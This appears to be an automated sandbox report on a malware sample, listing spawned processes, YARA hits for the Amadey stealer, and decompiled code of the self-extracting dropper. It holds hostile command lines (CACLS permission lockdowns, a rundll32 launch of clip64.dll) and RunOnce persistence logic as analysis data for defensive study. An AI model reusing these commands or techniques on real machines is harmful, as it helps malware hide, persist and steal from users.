Analysis Process: cacls.exePID: 4204, Parent PID: 6068

General

Target ID:	21
Start time:	23:06:58
Start date:	07/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "mnolyk.exe" /P "user:N"
Imagebase:	0xd20000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 4812, Parent PID: 6068

General

Target ID:	22
Start time:	23:06:59
Start date:	07/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "mnolyk.exe" /P "user:R" /E
Imagebase:	0xd20000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 4664, Parent PID: 1100

General

Target ID:	23
Start time:	23:06:59
Start date:	07/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Imagebase:	0x1b0000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000000.324372963.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.331572351.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 3104, Parent PID: 6068

General

Target ID:	24
Start time:	23:06:59
Start date:	07/02/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Imagebase:	0xa60000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 5312, Parent PID: 6068

General

Target ID:	25
Start time:	23:07:00
Start date:	07/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "..\4b9a106e76" /P "user:N"
Imagebase:	0xd20000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 1248, Parent PID: 6136

General

Target ID:	26
Start time:	23:07:02
Start date:	07/02/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Imagebase:	0x360000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cacls.exePID: 4012, Parent PID: 6068

General

Target ID:	27
Start time:	23:07:02
Start date:	07/02/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "..\4b9a106e76" /P "user:R" /E
Imagebase:	0xd20000
File size:	27648 bytes
MD5 hash:	4CBB1C027DF71C53A8EE4C855FD35B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 5432, Parent PID: 1100

General

Target ID:	30
Start time:	23:08:00
Start date:	07/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Imagebase:	0x1b0000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000002.455495920.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000000.454883478.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 2848, Parent PID: 1100

General

Target ID:	32
Start time:	23:09:00
Start date:	07/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Imagebase:	0x1b0000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000000.583498615.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.583819503.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: mnolyk.exePID: 5764, Parent PID: 1100

General

Target ID:	33
Start time:	23:10:00
Start date:	07/02/2023
Path:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Imagebase:	0x1b0000
File size:	241664 bytes
MD5 hash:	8BB923C4D81284DAEF7896E5682DF6C6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000002.712917292.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000000.712317333.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 616, Parent PID: 3320COMMON

Execution Graph

Execution Coverage:	26.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.5%
Total number of Nodes:	969
Total number of Limit Nodes:	43

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 003D202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E003D202A(struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v268;
				char _v528;
				void* _v532;
				int _v536;
				int _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				long _t36;
				long _t41;
				struct HINSTANCE__* _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				CHAR* _t54;
				void _t56;
				signed int _t66;
				intOrPtr* _t72;
				void* _t73;
				void* _t75;
				void* _t80;
				intOrPtr* _t81;
				void* _t86;
				void* _t87;
				void* _t90;
				_Unknown_base(*)()* _t91;
				signed int _t93;
				void* _t94;
				void* _t95;

				_t79 = __edx;
				_t28 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t28 ^ _t93;
				_t84 = 0x104;
				memset( &_v268, 0, 0x104);
				memset( &_v528, 0, 0x104);
				_t95 = _t94 + 0x18;
				_t66 = 0;
				_t36 = RegCreateKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0, 0, 0x2001f, 0,  &_v532,  &_v536); // executed
				if(_t36 != 0) {
					L24:
					return E003D6CE0(_t36, _t66, _v8 ^ _t93, _t79, _t84, _t86);
				}
				_push(_t86);
				_t87 = 0;
				while(1) {
					E003D171E("wextract_cleanup0", 0x50, "wextract_cleanup%d", _t87);
					_t95 = _t95 + 0x10;
					_t41 = RegQueryValueExA(_v532, "wextract_cleanup0", 0, 0, 0,  &_v540); // executed
					if(_t41 != 0) {
						break;
					}
					_t87 = _t87 + 1;
					if(_t87 < 0xc8) {
						continue;
					}
					break;
				}
				if(_t87 != 0xc8) {
					GetSystemDirectoryA( &_v528, _t84);
					_t79 = _t84;
					E003D658A( &_v528, _t84, "advpack.dll");
					_t46 = LoadLibraryA( &_v528); // executed
					_t84 = _t46;
					if(_t84 == 0) {
						L10:
						if(GetModuleFileNameA( *0x3d9a3c,  &_v268, 0x104) == 0) {
							L17:
							_t36 = RegCloseKey(_v532);
							L23:
							_pop(_t86);
							goto L24;
						}
						L11:
						_t72 =  &_v268;
						_t80 = _t72 + 1;
						do {
							_t49 =  *_t72;
							_t72 = _t72 + 1;
						} while (_t49 != 0);
						_t73 = _t72 - _t80;
						_t81 = 0x3d91e4;
						do {
							_t50 =  *_t81;
							_t81 = _t81 + 1;
						} while (_t50 != 0);
						_t84 = _t73 + 0x50 + _t81 - 0x3d91e5;
						_t90 = LocalAlloc(0x40, _t73 + 0x50 + _t81 - 0x3d91e5);
						if(_t90 != 0) {
							 *0x3d8580 = _t66 ^ 0x00000001;
							_t54 = "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"";
							if(_t66 == 0) {
								_t54 = "%s /D:%s";
							}
							_push("C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\");
							E003D171E(_t90, _t84, _t54,  &_v268);
							_t75 = _t90;
							_t23 = _t75 + 1; // 0x1
							_t79 = _t23;
							do {
								_t56 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t56 != 0);
							_t24 = _t75 - _t79 + 1; // 0x2
							RegSetValueExA(_v532, "wextract_cleanup0", 0, 1, _t90, _t24); // executed
							RegCloseKey(_v532); // executed
							_t36 = LocalFree(_t90);
							goto L23;
						}
						_t79 = 0x4b5;
						E003D44B9(0, 0x4b5, _t51, _t51, 0x10, _t51);
						goto L17;
					}
					_t91 = GetProcAddress(_t84, "DelNodeRunDLL32");
					_t66 = 0 | _t91 != 0x00000000;
					FreeLibrary(_t84); // executed
					if(_t91 == 0) {
						goto L10;
					}
					if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
						E003D658A( &_v268, 0x104, 0x3d1140);
					}
					goto L11;
				}
				_t36 = RegCloseKey(_v532);
				 *0x3d8530 = _t66;
				goto L23;
			}

0x003d202a
0x003d2035
0x003d203c
0x003d2041
0x003d2050
0x003d205f
0x003d2064
0x003d206f
0x003d208c
0x003d2094
0x003d2257
0x003d2266
0x003d2266
0x003d209a
0x003d209b
0x003d209d
0x003d20aa
0x003d20af
0x003d20c9
0x003d20d1
0x00000000
0x00000000
0x003d20d3
0x003d20da
0x00000000
0x00000000
0x00000000
0x003d20da
0x003d20e2
0x003d2103
0x003d210e
0x003d2116
0x003d2122
0x003d2128
0x003d212c
0x003d2179
0x003d2194
0x003d21de
0x003d21e4
0x003d2256
0x003d2256
0x00000000
0x003d2256
0x003d2196
0x003d2196
0x003d219c
0x003d219f
0x003d219f
0x003d21a1
0x003d21a2
0x003d21a6
0x003d21a8
0x003d21b0
0x003d21b0
0x003d21b2
0x003d21b3
0x003d21bc
0x003d21c7
0x003d21cb
0x003d21f1
0x003d21f6
0x003d21fd
0x003d21ff
0x003d21ff
0x003d2204
0x003d2213
0x003d2218
0x003d221d
0x003d221d
0x003d2220
0x003d2220
0x003d2222
0x003d2223
0x003d2229
0x003d223d
0x003d2249
0x003d2250
0x00000000
0x003d2250
0x003d21d2
0x003d21d9
0x00000000
0x003d21d9
0x003d213a
0x003d2141
0x003d2144
0x003d214c
0x00000000
0x00000000
0x003d2163
0x003d2172
0x003d2172
0x00000000
0x003d2163
0x003d20ea
0x003d20f0
0x00000000

APIs

memset.MSVCRT ref: 003D2050
memset.MSVCRT ref: 003D205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 003D208C

Part of subcall function 003D171E: _vsnprintf.MSVCRT ref: 003D1750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003D20C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003D20EA
GetSystemDirectoryA.KERNEL32 ref: 003D2103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003D2122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 003D2134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003D2144
GetSystemDirectoryA.KERNEL32 ref: 003D215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003D218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003D21C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003D21E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 003D223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003D2249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003D2250

Strings

advpack.dll, xrefs: 003D2109
%s /D:%s, xrefs: 003D21FF, 003D2210
DelNodeRunDLL32, xrefs: 003D212E
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D21A8, 003D2204
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 003D2082
wextract_cleanup0, xrefs: 003D20A5, 003D20BE, 003D20F0, 003D2232
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 003D21F6
wextract_cleanup%d, xrefs: 003D209E

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-2414900631
Opcode ID: 6bf9246dce88eeb11b82602add57da8cc4fa0c834b5caa798fa0f0415e016d49
Instruction ID: 377a36b247df7bbf0907b0a970c92e91b9a73907508cdac4eabad18b79aca28c
Opcode Fuzzy Hash: 6bf9246dce88eeb11b82602add57da8cc4fa0c834b5caa798fa0f0415e016d49
Instruction Fuzzy Hash: 1A51F573A01214ABDB239B60FC49FEB773CEB55700F0041A7FA45E7251DA719E898A60

Uniqueness

Uniqueness Score: -1.00%

Function 003D3BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E003D3BA2() {
				signed int _v8;
				signed int _v12;
				char _v276;
				char _v280;
				short _v300;
				intOrPtr _v304;
				void _v348;
				char _v352;
				intOrPtr _v356;
				signed int _v360;
				short _v364;
				char* _v368;
				intOrPtr _v372;
				void* _v376;
				intOrPtr _v380;
				char _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _v408;
				void* _v424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				signed int _t76;
				void* _t77;
				signed int _t79;
				short _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				int _t112;
				void* _t115;
				signed char _t118;
				void* _t125;
				signed int _t127;
				void* _t128;
				struct HINSTANCE__* _t129;
				void* _t130;
				short _t137;
				char* _t140;
				signed char _t144;
				signed char _t145;
				signed int _t149;
				void* _t150;
				void* _t151;
				signed int _t153;
				void* _t155;
				void* _t156;
				signed int _t157;
				signed int _t162;
				signed int _t164;
				void* _t165;

				_t164 = (_t162 & 0xfffffff8) - 0x194;
				_t69 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t69 ^ _t164;
				_t153 = 0;
				 *0x3d9124 =  *0x3d9124 & 0;
				_t149 = 0;
				_v388 = 0;
				_v384 = 0;
				_t165 =  *0x3d8a28 - _t153; // 0x0
				if(_t165 != 0) {
					L3:
					_t127 = 0;
					_v392 = 0;
					while(1) {
						_v400 = _v400 & 0x00000000;
						memset( &_v348, 0, 0x44);
						_t164 = _t164 + 0xc;
						_v348 = 0x44;
						if( *0x3d8c42 != 0) {
							goto L26;
						}
						_t146 =  &_v396;
						_t115 = E003D468F("SHOWWINDOW",  &_v396, 4);
						if(_t115 == 0 || _t115 > 4) {
							L25:
							_t146 = 0x4b1;
							E003D44B9(0, 0x4b1, 0, 0, 0x10, 0);
							 *0x3d9124 = 0x80070714;
							goto L62;
						} else {
							if(_v396 != 1) {
								__eflags = _v396 - 2;
								if(_v396 != 2) {
									_t137 = 3;
									__eflags = _v396 - _t137;
									if(_v396 == _t137) {
										_v304 = 1;
										_v300 = _t137;
									}
									goto L14;
								}
								_push(6);
								_v304 = 1;
								_pop(0);
								goto L11;
							} else {
								_v304 = 1;
								L11:
								_v300 = 0;
								L14:
								if(_t127 != 0) {
									L27:
									_t155 = 1;
									__eflags = _t127 - 1;
									if(_t127 != 1) {
										L31:
										_t132 =  &_v280;
										_t76 = E003D1AE8( &_v280,  &_v408,  &_v404); // executed
										__eflags = _t76;
										if(_t76 == 0) {
											L62:
											_t77 = 0;
											L63:
											_pop(_t150);
											_pop(_t156);
											_pop(_t128);
											return E003D6CE0(_t77, _t128, _v12 ^ _t164, _t146, _t150, _t156);
										}
										_t157 = _v404;
										__eflags = _t149;
										if(_t149 != 0) {
											L37:
											__eflags = _t157;
											if(_t157 == 0) {
												L57:
												_t151 = _v408;
												_t146 =  &_v352;
												_t130 = _t151; // executed
												_t79 = E003D3FEF(_t130,  &_v352); // executed
												__eflags = _t79;
												if(_t79 == 0) {
													L61:
													LocalFree(_t151);
													goto L62;
												}
												L58:
												LocalFree(_t151);
												_t127 = _t127 + 1;
												_v396 = _t127;
												__eflags = _t127 - 2;
												if(_t127 >= 2) {
													_t155 = 1;
													__eflags = 1;
													L69:
													__eflags =  *0x3d8580;
													if( *0x3d8580 != 0) {
														E003D2267();
													}
													_t77 = _t155;
													goto L63;
												}
												_t153 = _v392;
												_t149 = _v388;
												continue;
											}
											L38:
											__eflags =  *0x3d8180;
											if( *0x3d8180 == 0) {
												_t146 = 0x4c7;
												E003D44B9(0, 0x4c7, 0, 0, 0x10, 0);
												LocalFree(_v424);
												 *0x3d9124 = 0x8007042b;
												goto L62;
											}
											__eflags = _t157;
											if(_t157 == 0) {
												goto L57;
											}
											__eflags =  *0x3d9a34 & 0x00000004;
											if(__eflags == 0) {
												goto L57;
											}
											_t129 = E003D6495(_t127, _t132, _t157, __eflags);
											__eflags = _t129;
											if(_t129 == 0) {
												_t146 = 0x4c8;
												E003D44B9(0, 0x4c8, "advpack.dll", 0, 0x10, 0);
												L65:
												LocalFree(_v408);
												 *0x3d9124 = E003D6285();
												goto L62;
											}
											_t146 = GetProcAddress(_t129, "DoInfInstall");
											_v404 = _t146;
											__eflags = _t146;
											if(_t146 == 0) {
												_t146 = 0x4c9;
												__eflags = 0;
												E003D44B9(0, 0x4c9, "DoInfInstall", 0, 0x10, 0);
												FreeLibrary(_t129);
												goto L65;
											}
											__eflags =  *0x3d8a30;
											_t151 = _v408;
											_v384 = 0;
											_v368 =  &_v280;
											_t96 =  *0x3d9a40; // 0x3
											_v364 = _t96;
											_t97 =  *0x3d8a38 & 0x0000ffff;
											_v380 = 0x3d9154;
											_v376 = _t151;
											_v372 = 0x3d91e4;
											_v360 = _t97;
											if( *0x3d8a30 != 0) {
												_t97 = _t97 | 0x00010000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t144 =  *0x3d9a34; // 0x1
											__eflags = _t144 & 0x00000008;
											if((_t144 & 0x00000008) != 0) {
												_t97 = _t97 | 0x00020000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t144 & 0x00000010;
											if((_t144 & 0x00000010) != 0) {
												_t97 = _t97 | 0x00040000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t145 =  *0x3d8d48; // 0x0
											__eflags = _t145 & 0x00000040;
											if((_t145 & 0x00000040) != 0) {
												_t97 = _t97 | 0x00080000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t145;
											if(_t145 < 0) {
												_t104 = _t97 | 0x00100000;
												__eflags = _t104;
												_v360 = _t104;
											}
											_t98 =  *0x3d9a38; // 0x0
											_v356 = _t98;
											_t130 = _t146;
											 *0x3da288( &_v384);
											_t101 = _v404();
											__eflags = _t164 - _t164;
											if(_t164 != _t164) {
												_t130 = 4;
												asm("int 0x29");
											}
											 *0x3d9124 = _t101;
											_push(_t129);
											__eflags = _t101;
											if(_t101 < 0) {
												FreeLibrary();
												goto L61;
											} else {
												FreeLibrary();
												_t127 = _v400;
												goto L58;
											}
										}
										__eflags =  *0x3d9a40 - 1; // 0x3
										if(__eflags == 0) {
											goto L37;
										}
										__eflags =  *0x3d8a20;
										if( *0x3d8a20 == 0) {
											goto L37;
										}
										__eflags = _t157;
										if(_t157 != 0) {
											goto L38;
										}
										_v388 = 1;
										E003D202A(_t146); // executed
										goto L37;
									}
									_t146 =  &_v280;
									_t108 = E003D468F("POSTRUNPROGRAM",  &_v280, 0x104);
									__eflags = _t108;
									if(_t108 == 0) {
										goto L25;
									}
									__eflags =  *0x3d8c42;
									if( *0x3d8c42 != 0) {
										goto L69;
									}
									_t112 = CompareStringA(0x7f, 1,  &_v280, 0xffffffff, "<None>", 0xffffffff);
									__eflags = _t112 == 0;
									if(_t112 == 0) {
										goto L69;
									}
									goto L31;
								}
								_t118 =  *0x3d8a38; // 0x0
								if(_t118 == 0) {
									L23:
									if(_t153 != 0) {
										goto L31;
									}
									_t146 =  &_v276;
									if(E003D468F("RUNPROGRAM",  &_v276, 0x104) != 0) {
										goto L27;
									}
									goto L25;
								}
								if((_t118 & 0x00000001) == 0) {
									__eflags = _t118 & 0x00000002;
									if((_t118 & 0x00000002) == 0) {
										goto L62;
									}
									_t140 = "USRQCMD";
									L20:
									_t146 =  &_v276;
									if(E003D468F(_t140,  &_v276, 0x104) == 0) {
										goto L25;
									}
									if(CompareStringA(0x7f, 1,  &_v276, 0xffffffff, "<None>", 0xffffffff) - 2 != 0xfffffffe) {
										_t153 = 1;
										_v388 = 1;
									}
									goto L23;
								}
								_t140 = "ADMQCMD";
								goto L20;
							}
						}
						L26:
						_push(_t130);
						_t146 = 0x104;
						E003D1781( &_v276, 0x104, _t130, 0x3d8c42);
						goto L27;
					}
				}
				_t130 = "REBOOT";
				_t125 = E003D468F(_t130, 0x3d9a2c, 4);
				if(_t125 == 0 || _t125 > 4) {
					goto L25;
				} else {
					goto L3;
				}
			}

0x003d3baa
0x003d3bb0
0x003d3bb7
0x003d3bc0
0x003d3bc2
0x003d3bc9
0x003d3bcb
0x003d3bcf
0x003d3bd3
0x003d3bd9
0x003d3bfd
0x003d3bfd
0x003d3bff
0x003d3c03
0x003d3c03
0x003d3c11
0x003d3c16
0x003d3c19
0x003d3c28
0x00000000
0x00000000
0x003d3c30
0x003d3c39
0x003d3c40
0x003d3d13
0x003d3d15
0x003d3d21
0x003d3d26
0x00000000
0x003d3c4f
0x003d3c56
0x003d3c60
0x003d3c65
0x003d3c77
0x003d3c78
0x003d3c7c
0x003d3c7e
0x003d3c82
0x003d3c82
0x00000000
0x003d3c7c
0x003d3c67
0x003d3c69
0x003d3c6d
0x00000000
0x003d3c58
0x003d3c58
0x003d3c6e
0x003d3c6e
0x003d3c87
0x003d3c89
0x003d3d4d
0x003d3d4f
0x003d3d50
0x003d3d52
0x003d3d9e
0x003d3da8
0x003d3daf
0x003d3db4
0x003d3db6
0x003d3f4d
0x003d3f4d
0x003d3f4f
0x003d3f56
0x003d3f57
0x003d3f58
0x003d3f63
0x003d3f63
0x003d3dbc
0x003d3dc0
0x003d3dc2
0x003d3de6
0x003d3de6
0x003d3de8
0x003d3f0b
0x003d3f0b
0x003d3f0f
0x003d3f13
0x003d3f15
0x003d3f1a
0x003d3f1c
0x003d3f46
0x003d3f47
0x00000000
0x003d3f47
0x003d3f1e
0x003d3f1f
0x003d3f25
0x003d3f26
0x003d3f2a
0x003d3f2d
0x003d3fd9
0x003d3fd9
0x003d3fda
0x003d3fda
0x003d3fe1
0x003d3fe3
0x003d3fe3
0x003d3fe8
0x00000000
0x003d3fe8
0x003d3f33
0x003d3f37
0x00000000
0x003d3f37
0x003d3dee
0x003d3dee
0x003d3df5
0x003d3fad
0x003d3fb9
0x003d3fc2
0x003d3fc8
0x00000000
0x003d3fc8
0x003d3dfb
0x003d3dfd
0x00000000
0x00000000
0x003d3e03
0x003d3e0a
0x00000000
0x00000000
0x003d3e15
0x003d3e17
0x003d3e19
0x003d3f94
0x003d3fa4
0x003d3f7c
0x003d3f80
0x003d3f8b
0x00000000
0x003d3f8b
0x003d3e2c
0x003d3e30
0x003d3e34
0x003d3e36
0x003d3f69
0x003d3f6e
0x003d3f70
0x003d3f76
0x00000000
0x003d3f76
0x003d3e3c
0x003d3e43
0x003d3e47
0x003d3e52
0x003d3e56
0x003d3e5c
0x003d3e61
0x003d3e68
0x003d3e70
0x003d3e74
0x003d3e7c
0x003d3e80
0x003d3e82
0x003d3e82
0x003d3e87
0x003d3e87
0x003d3e8b
0x003d3e91
0x003d3e94
0x003d3e96
0x003d3e96
0x003d3e9b
0x003d3e9b
0x003d3e9f
0x003d3ea2
0x003d3ea4
0x003d3ea4
0x003d3ea9
0x003d3ea9
0x003d3ead
0x003d3eb3
0x003d3eb6
0x003d3eb8
0x003d3eb8
0x003d3ebd
0x003d3ebd
0x003d3ec1
0x003d3ec3
0x003d3ec5
0x003d3ec5
0x003d3eca
0x003d3eca
0x003d3ece
0x003d3ed5
0x003d3ed9
0x003d3ee0
0x003d3ee6
0x003d3eea
0x003d3eec
0x003d3eee
0x003d3ef3
0x003d3ef3
0x003d3ef5
0x003d3efa
0x003d3efb
0x003d3efd
0x003d3f40
0x00000000
0x003d3eff
0x003d3eff
0x003d3f05
0x00000000
0x003d3f05
0x003d3efd
0x003d3dc7
0x003d3dce
0x00000000
0x00000000
0x003d3dd0
0x003d3dd7
0x00000000
0x00000000
0x003d3dd9
0x003d3ddb
0x00000000
0x00000000
0x003d3ddd
0x003d3de1
0x00000000
0x003d3de1
0x003d3d59
0x003d3d65
0x003d3d6a
0x003d3d6c
0x00000000
0x00000000
0x003d3d6e
0x003d3d75
0x00000000
0x00000000
0x003d3d8f
0x003d3d96
0x003d3d98
0x00000000
0x00000000
0x00000000
0x003d3d98
0x003d3c8f
0x003d3c98
0x003d3cf1
0x003d3cf3
0x00000000
0x00000000
0x003d3cfe
0x003d3d11
0x00000000
0x00000000
0x00000000
0x003d3d11
0x003d3c9c
0x003d3ca5
0x003d3ca7
0x00000000
0x00000000
0x003d3cad
0x003d3cb2
0x003d3cb7
0x003d3cc5
0x00000000
0x00000000
0x003d3ce8
0x003d3cec
0x003d3ced
0x003d3ced
0x00000000
0x003d3ce8
0x003d3c9e
0x00000000
0x003d3c9e
0x003d3c56
0x003d3d35
0x003d3d35
0x003d3d3c
0x003d3d48
0x00000000
0x003d3d48
0x003d3c03
0x003d3be2
0x003d3be7
0x003d3bee
0x00000000
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 003D3C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 003D3CDC

Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46A0
Part of subcall function 003D468F: SizeofResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46A9
Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46C3
Part of subcall function 003D468F: LoadResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46CC
